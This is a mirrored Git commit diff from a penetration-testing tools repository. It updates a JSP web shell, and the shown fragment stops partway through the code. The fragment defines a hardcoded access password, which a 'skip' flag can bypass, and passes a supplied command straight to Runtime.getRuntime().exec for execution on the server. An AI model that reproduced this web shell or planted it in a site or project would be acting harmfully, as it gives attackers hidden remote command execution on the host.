mirror of
https://github.com/mgeeky/Penetration-Testing-Tools.git
synced 2024-12-22 09:05:06 +01:00
Webshell.jsp updated
This commit is contained in:
parent
e8b47cfe17
commit
685a6428ed
@ -3,16 +3,17 @@
|
||||
<%@page import="java.io.*"%>
|
||||
<%@page import="java.net.*"%>
|
||||
<%!
|
||||
|
||||
// =====================================================================
|
||||
// Setup global password necessary to pass before using that webshell.
|
||||
public String HardcodedPassword = "5eQzrXZHZwJNLvm6Q2b7PR6r";
|
||||
|
||||
// =====================================================================
|
||||
|
||||
public String execute(String pass, String cmd, Boolean skip) {
|
||||
|
||||
// ----------------------------------------
|
||||
// CHANGE THIS HARDCODED PASSWORD
|
||||
//
|
||||
final String hardcodedPass = "brhQ5U7OzHdqpnTgKaCo6Zd";
|
||||
|
||||
StringBuilder res = new StringBuilder();
|
||||
|
||||
if (cmd != null && cmd.length() > 0 && ((skip) || (pass.equals(hardcodedPass) || hardcodedPass.toLowerCase().equals("none")))){
|
||||
if (cmd != null && cmd.length() > 0 && ((skip) || (pass.equals(HardcodedPassword) || HardcodedPassword.toLowerCase().equals("none")))){
|
||||
try {
|
||||
Process proc = Runtime.getRuntime().exec(cmd);
|
||||
OutputStream outs = proc.getOutputStream();
|
||||
|
Loading…
Reference in New Issue
Block a user